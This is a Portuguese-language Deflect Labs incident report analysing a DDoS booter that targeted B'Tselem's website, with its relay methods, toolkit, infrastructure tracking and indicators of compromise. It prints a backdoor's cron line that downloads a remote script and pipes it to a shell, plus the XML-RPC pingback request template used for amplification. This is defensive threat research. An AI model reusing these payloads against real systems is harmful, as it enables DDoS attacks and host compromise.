1. Home
  2. >
  3. Notícias da Deflect Labs
  4. >
  5. Relatório nº 4 da Deflect Labs – Anatomia de um “booter”
Categorias
DDoS Deflect Labs Desviar Notícias da Deflect Labs

Relatório nº 4 da Deflect Labs – Anatomia de um “booter”

Principais conclusões

  • Identificamos um ataque DDoS contra o site israelense de direitos humanos www.btselem.org no dia 2 de novembro
  • Os invasores utilizaram três tipos diferentes de servidores de retransmissão para sobrecarregar o site e foram automaticamente neutralizados pelo Deflect
  • Identificamos a infraestrutura do “booter” (serviço profissional de DDoS), acessamos e analisamos suas ferramentas, que descrevemos neste artigo
  • Em cooperação com a Digital Ocean, o Google e outras equipes de resposta a incidentes de segurança, conseguimos desativar parte da infraestrutura do “booter” que estava em execução em suas plataformas. No entanto, o “booter” ainda está operacional e continua a criar novas máquinas para lançar ataques.

Introdução

Em 2 de novembro de 2018, identificamos um ataque DDoS contra o site www.btselem.org, protegido pelo Deflect. A B’Tselem é uma organização israelense sem fins lucrativos que luta para pôr fim à ocupação israelense dos territórios palestinos. A B’Tselem já foi alvo de ataques DDoS várias vezes no passado, inclusive em 2013 e 2014, e também quando utilizava a proteção do Deflect em 2016. A organização vem enfrentando pressão do governo israelense há anos, bem como de setores da população israelense.

O ataque de 2 de novembro foi orquestrado a partir de uma infraestrutura do tipo “booter”. Um “booter” (também conhecido como DDoSer ou Stresser) é um serviço de DDoS por encomenda, com preços a partir de apenas 15 dólares por mês. Alguns serviços podem suportar um número enorme de ataques DDoS, como o booter vDoS (desativado em agosto de 2017 pela polícia israelense), que realizou mais de 150 mil ataques DDoS e arrecadou mais de US$ 600 mil ao longo de dois anos de atividade. Atualmente, a ameaça é levada a sério pela polícia em muitos países, o que levou ao desmantelamento de vários serviços do tipo “booter”.

Este ataque é um dos dezessete que identificamos direcionados ao site da B’Tselem em 2018. A maioria dos ataques à web utilizava ferramentas padrão de auditoria de segurança, como Nikto, SQLMap ou DirBuster, lançadas a partir de diferentes endereços IP em Israel. Todos os ataques DDoS descobertos utilizavam botnets para amplificar a carga de tráfego. O ataque investigado neste relatório é o primeiro exemplo de um ataque pingback no WordPress contra o site btselem.org em 2018.

Neste artigo, analisamos o ataque, incluindo as ferramentas e os métodos utilizados pelo autor do ataque.

Descrição do ataque

Em 2 de novembro, entre meia-noite e 1h UTC, identificamos um pico incomum de tráfego para www.btselem.org. Um grande número de solicitações não apresentava nenhuma string de user-agent ou utilizava um user-agent indicando uma solicitação de pingback do WordPress (como WordPress/4.8.7; [REDACTED]; verificando pingback de 174.138.13.37). Confirmamos que esse tráfego faz parte de uma tentativa de DDoS utilizando diferentes tipos de relés. Já documentamos ataques de pingback várias vezes no passado e explicamos o que são no terceiro relatório da Deflect Labs.

O site btselem.org recebeu 341.435 solicitações para / durante esse período, incluindo 272.624 solicitações sem user-agent, 65.887 solicitações com UA Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 e 2.368 solicitações com diferentes user-agents do WordPress.

Um aspecto interessante desse tráfego é que ele tinha como alvo o domínio btselem.org. Esse domínio está configurado para redirecionar para https://www.btselem.org por meio de um código HTTP de redirecionamento 301, mas apenas uma pequena parte do tráfego realmente seguiu o redirecionamento e acessou o site www final. Recebemos 272.636 solicitações sem agente de usuário no btselem.org durante o ataque, e apenas 34.035 no www.btselem.org.

Analisando pingbacks do WordPress

Os ataques de pingback do WordPress existem desde 2014 e já tivemos que lidar com vários deles anteriormente.

A ideia é abusar do recurso de pingback do WordPress, que foi criado para notificar sites quando são mencionados ou vinculados por outro site. A publicação de origem entra em contato com o site do WordPress para o qual o link foi feito, informando a URL da fonte. O site para o qual o link foi feito então responde para confirmar o recebimento. Ao enviar a solicitação inicial de pingback com o site de destino como fonte, é possível abusar desse recurso e usar o site do WordPress como um relé para um ataque DDoS. Para combater essa ameaça, muitos provedores de hospedagem desativaram os pingbacks de forma geral, e a equipe do WordPress implementou uma atualização para adicionar o endereço IP de origem da solicitação no campo User-Agent a partir da versão 3.9. Um ataque usando o site www.example.com como retransmissor apresentaria user-agents como WordPress/3.5.1; http://www.example.com antes da versão 3.9, e WordPress/3.9.16; http://www.example.com; verificando o pingback proveniente de ORIGIN_IP depois. Infelizmente, muitos sites do WordPress não estão atualizados e ainda podem ser usados como retransmissores sem exibir o endereço IP de origem.

Ao analisar os user-agents do WordPress durante o ataque, é fácil identificar os sites usados como retransmissores:

  • 2.368 solicitações vieram de sites WordPress
  • Essas solicitações vieram de 300 sites diferentes do WordPress usados como retransmissores
  • 149 deles estavam acima da versão 3.9

Os user-agents dos sites do WordPress com versão superior à 3.9 revelam os IPs na origem do ataque: WordPress/4.1.24; http://[REDACTED]; verificando pingback de 178.128.244.42.

Identificamos 10 IPs como a origem desses ataques, todos hospedados em servidores da Digital Ocean, o que revela a infraestrutura real do booter. Descrevemos a seguir a infraestrutura identificada e as medidas que tomamos para desativá-la.

Analisando outras consultas

A outra parte do ataque DDoS consiste em um grande número de solicitações para / sem nenhuma string de consulta, também sem user-agent (272.624 solicitações) ou com o user-agent Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 (65.887 solicitações).

Ao analisar amostras desses IPs, identificamos muitos deles como proxies abertos. Por exemplo, recebemos 159 solicitações do IP 213.200.56[.]86, conhecido como um proxy aberto por vários bancos de dados de proxies abertos. Verificamos o cabeçalho X-Forwarded-For, que é definido por alguns proxies para identificar o IP de origem que está fazendo a solicitação, e identificamos novamente a mesma lista de 10 IPs da Digital Ocean na origem do ataque.

Por fim, uma pequena parte dessas solicitações permaneceu de origens desconhecidas até descobrirmos a lista de retransmissão do Joomla nos servidores booter (veja a seguir). Um plugin comum do Joomla chamado Google Maps2 possui uma vulnerabilidade divulgada desde 2013 que permite seu uso como retransmissor. Ele já foi usado várias vezes para ataques DDoS, especialmente por volta de 2014. É surpreendente ver uma vulnerabilidade tão antiga sendo utilizada, mas identificamos apenas 2.678 solicitações, o que mostra que esse ataque não é muito eficaz em 2018, provavelmente devido ao pequeno número de sites que ainda estão vulneráveis.

Anatomia de um Booter

Infraestrutura

Conforme descrito anteriormente, a análise dos user-agents do PingBack do WordPress e do cabeçalho X-Forwarded-For dos proxies nos forneceu a seguinte lista de endereços IP, todos hospedados na Digital Ocean:

  • 178.128.244.42
  • 178.128.244.184
  • 178.128.242.66
  • 178.128.249.196
  • 142.93.136.67
  • 188.166.26.137
  • 188.166.43.4
  • 188.166.105.145
  • 174.138.13.37
  • 188.166.125.216

Esses 10 servidores estavam executando um servidor HTTP Apache na porta 80 com um arquivo de índice aberto exibindo uma lista de ferramentas utilizadas pelos booters para ataques DDoS:

Esse diretório aberto nos permitiu baixar a maioria das ferramentas e a lista de relés utilizados pelos booters.

Kit de ferramentas

Conseguimos baixar a maioria das ferramentas utilizadas pelo booter, com exceção dos arquivos de código PHP (os arquivos executados quando a URL é solicitada). De modo geral, podemos observar três tipos de arquivos hospedados no booter:

  • Arquivos de comando em PHP: api.php e sockhit.php
  • Ferramentas: ferramentas executáveis ou em JavaScript, como http.js ou joomla
  • Arquivos de texto listando relés:joomla.txt,path.txt,perfect.txt,socks.txte xmlrpc.txt

Comandos desprotegidos

Não conseguimos baixar esses arquivos PHP (sockhit.php e api.php), mas pudemos deduzir rapidamente que eles eram usados para comandar remotamente o servidor booter a partir da interface, a fim de lançar ataques.

l@tp $ curl http://178.128.244.42/sockhit.php
Criado por Routers.Rip
Uso: php  [URL] [THREADS] [SECONDS] [CLIENTS_NUMBER] [SOCKS_FILE]
Exemplo: php  http://Routers.Rip/ 800 60 20 proxies.txt

l@tp $ curl http://178.128.244.42/api.php
Parâmetros ausentes!%

Um detalhe interessante a ser observado é que o arquivo sockhit.php não parece exigir autenticação, o que significa que a infraestrutura poderia ter sido utilizada por outras pessoas sem o conhecimento dos proprietários. Acreditamos que esses arquivos PHP não estejam lançando os ataques diretamente, mas sim utilizando as diversas ferramentas implantadas no servidor para fazê-lo.

Ferramentas com backdoor

As seguintes ferramentas foram encontradas no servidor:

  • https.js a206a42857be4f30ea66ea17ce0dadbc
  • joomla 1956fc87a7217d34f5bcf25ac73e2d72a1cae84a
  • jsb.js b3a55eeb8f70351c14ba3b665d886c34
  • xmlrpc 480e528c9991e08800109fa6627c2227

Fizemos a análise reversa tanto do arquivo xmlrpc quanto do joomla e descobrimos que o binário do joomla, na verdade, contém um backdoor. O arquivo contém o executável legítimo do Joomla a partir do byte 0x2F29; ao ser executado, o programa legítimo é copiado para um arquivo temporário (criado com o comando `tmpnam`), e em seguida um crontab é adicionado ao abrir o arquivo `/etc/cron.hourly/0 e adicionando a linha wget hxxp://r1p[.]pw/0 -O- 2>/dev/null| sh>dev/null 2>&1. O backdoor então se abre e verifica se já contém a string h3dNRL4dviIXqlSpCCaz0H5iyxM= contida no próprio backdoor. Caso não contenha a string, ele insere o backdoor no arquivo. Por fim, ele executa o programa legítimo com os mesmos argumentos.

A carga útil final (5068eacfd7ac9aba6c234dce734d8901) recebe como argumentos (alvo) (lista) (hora) (threads); em seguida, lê o arquivo de lista para obter a lista de sites Joomla e faz a consulta por meio de um socket bruto com a seguinte solicitação HTTP:

HEAD /%s%s HTTP/1.1
Host: %s
User-agent: Mozilla/5.0
Connection: close

O binário xmlrpc (480e528c9991e08800109fa6627c2227) funciona da mesma maneira (e não contém backdoor): Ao executá-lo, o usuário precisa fornecer um site de destino, juntamente com uma lista de sites do WordPress em um arquivo, um número de segundos para o ataque e um número de threads ({alvo} {arquivo} {segundos} {threads}). A ferramenta então percorre a lista de sites do WordPress em múltiplas threads durante o tempo especificado, realizando as seguintes solicitações ao site:

POST /%s HTTP/1.0
Host: %s
Content-type: text/xml
Content-length: %i
User-agent: Mozilla/4.0 (compatível com: MSIE 7.0; Windows NT 6.0)
Connection: close

<methodCall><methodName>pingback.ping</methodName><params><param><value><string>%s</string></value></param><param><value><string>%s</string></value></param></params></methodCall>

Os arquivos https.js e jsb.js são ferramentas em JavaScript derivadas da ferramenta cloudscaper, que permite contornar o desafio JavaScript anti-DDoS da Cloudflare, resolvendo o desafio no lado do servidor e contornando a proteção. Não sabemos ao certo como isso é utilizado pelo booter.

Este arquivo jsb.js contém a seguinte linha, que provavelmente foi inserida para impedir ataques por meio dessa ferramenta no fórum de hackers turco DarbeTurk, mas foi parcialmente excluída posteriormente:

if (body.indexOf('DARBETURK ONLINE | TURKISH UNDERGROUND WORLD') !== -1) {
            //console.log('RIP');
        }

Uma longa lista de relés

A lista a seguir de relés foi utilizada no servidor:

  • joomla.txt: contém 1.226 sites Joomla com um plugin do Google Maps vulnerável ao retransmissor
  • path.txt: lista de 2.117 proxies abertos
  • perfect.txt: lista de 1.000 proxies abertos
  • socks.txt: lista de 37.849 proxies abertos
  • xmlrpc.txt: lista de 9.072 sites WordPress

Como mencionado anteriormente, é surpreendente constatar que 1.226 sites Joomla apresentam um plugin do Google Maps vulnerável, considerando que essa vulnerabilidade foi identificada e corrigida em 2014. Consultamos as 1.226 URLs para verificar se a página PHP ainda estava disponível e descobrimos que apenas 131 delas, de um total de 1.226, ainda existem hoje. Isso explica o pequeno número de solicitações identificadas a partir desse tipo de retransmissão no ataque e mostra que as ferramentas e a lista utilizadas estão bastante desatualizadas.

Resumo

Este booter utiliza três métodos diferentes de DDoS, todos empregando relés distintos:

  • Ataques de pingback no WordPress
  • Vulnerabilidade do plugin do Google Maps para Joomla
  • Proxies abertos

Os ataques que observamos por parte desse booter não foram muito eficazes e foram automaticamente mitigados pelo Deflect. O arquivo do Joomla com backdoor e a ferramenta JavaScript jsb.js (com uma referência a um fórum de hackers turco) nos levam a acreditar que se trata de um grupo muito amador que reutilizou diversas ferramentas compartilhadas em fóruns de hackers, o que sugere um baixo nível de habilidade técnica.

Rastreando a infraestrutura do booter

Alguns dias depois de baixarmos as ferramentas, observamos que a página inicial de todos os servidores mudou para um arquivo HTML muito simples, contendo apenas “kekkkk”; e, embora as ferramentas ainda estivessem disponíveis, não conseguimos visualizar a lista de arquivos nos servidores. Como essa sequência de caracteres é uma assinatura específica, usamos o Censys e o BinaryEdge para rastrear a criação de novos servidores, procurando por IPs que retornassem a mesma sequência específica.

Entre meados de novembro e meados de dezembro, observamos que o booter utilizava tanto o Vultr quanto o Google Cloud Platform. No total, identificamos 65 endereços IP diferentes usados pelos operadores, com um máximo de 17 em um único momento.

Enviamos notificações de abuso a essas empresas; os dois servidores do Google Cloud foram desativados logo após nosso e-mail (não temos informações se isso está relacionado à nossa notificação de abuso ou não). Entramos em contato com a equipe de abuso da Vultr várias vezes, e eles desativaram a infraestrutura do booter em meados de dezembro. Enviamos uma notificação de abuso à Digital Ocean assim que descobrimos o ataque. Vários dias depois, conseguimos entrar em contato com a equipe de resposta a incidentes, que investigou mais a fundo essa infraestrutura. Após discussões com eles, a infraestrutura foi desativada em dezembro, mas o operador rapidamente ativou novos servidores na Digital Ocean, que ainda estão ativos no momento da publicação deste relatório.

Impacto nos sites protegidos pelo Deflect

Este ataque DDoS foi mitigado automaticamente pelo Deflect e não causou nenhum impacto negativo no site visado.

Conclusão

As pessoas que operam esse booter foram identificadas pela equipe de segurança da Digital Ocean. No entanto, sem uma denúncia oficial e um pedido de ação judicial, o booter continua operando, criando novas infraestruturas para lançar seus ataques.

Os booters já existem há muito tempo e, mesmo que vários grupos tenham sido desmantelados pela polícia (como o infame Webstresser.org), este ataque mostra que a ameaça ainda é real. A análise das ferramentas apresentadas aqui parece indicar que basta ter pouca habilidade para operar um serviço de booter, simplesmente reutilizando ferramentas publicadas em diversos fóruns de hackers. Mesmo assim, um ataque dessa magnitude seria suficiente para derrubar um site de pequeno a médio porte sem proteção adequada contra DDoS.

Ouvimos regularmente sobre ataques DDoS provenientes de booters hospedados em sites de comércio eletrônico ou plataformas de jogos, mas este incidente também é mais um lembrete de que organizações da sociedade civil são vítimas frequentes desses mesmos booters.

Indicadores de Compromisso

Servidores originais utilizados pelo booter (todos com IPs da Digital Ocean):

  • 178.128.244.42
  • 178.128.244.184
  • 178.128.242.66
  • 178.128.249.196
  • 142.93.136.67
  • 188.166.26.137
  • 188.166.43.4
  • 188.166.105.145
  • 174.138.13.37
  • 188.166.125.216

MD5 dos arquivos disponíveis nos servidores do booter:

  • a206a42857be4f30ea66ea17ce0dadbc https.js
  • cf554c82438ca713d880cad418e82d4f joomla
  • a21e6eaea1802b11e49fd6db7003dad0 joomla.txt
  • b3a55eeb8f70351c14ba3b665d886c34 jsb.js
  • 9263a09767e1bad0152d8354c8252de9 path.txt
  • 5214cbb3fc199cb3c0c439aedada0f2a perfect.txt
  • db8ee68a81836cde29c6d65a1d93a98d socks.txt
  • 480e528c9991e08800109fa6627c2227 xmlrpc
  • ea2c3ee7ac340c25a9b9aa06c83d0b6e xmlrpc.txt

Agradecimentos

Gostaríamos de agradecer às diversas equipes de resposta a incidentes que tiveram que lidar com nossos e-mails constantes, bem como à Censys, ipinfo.io e BinaryEdge por suas ferramentas.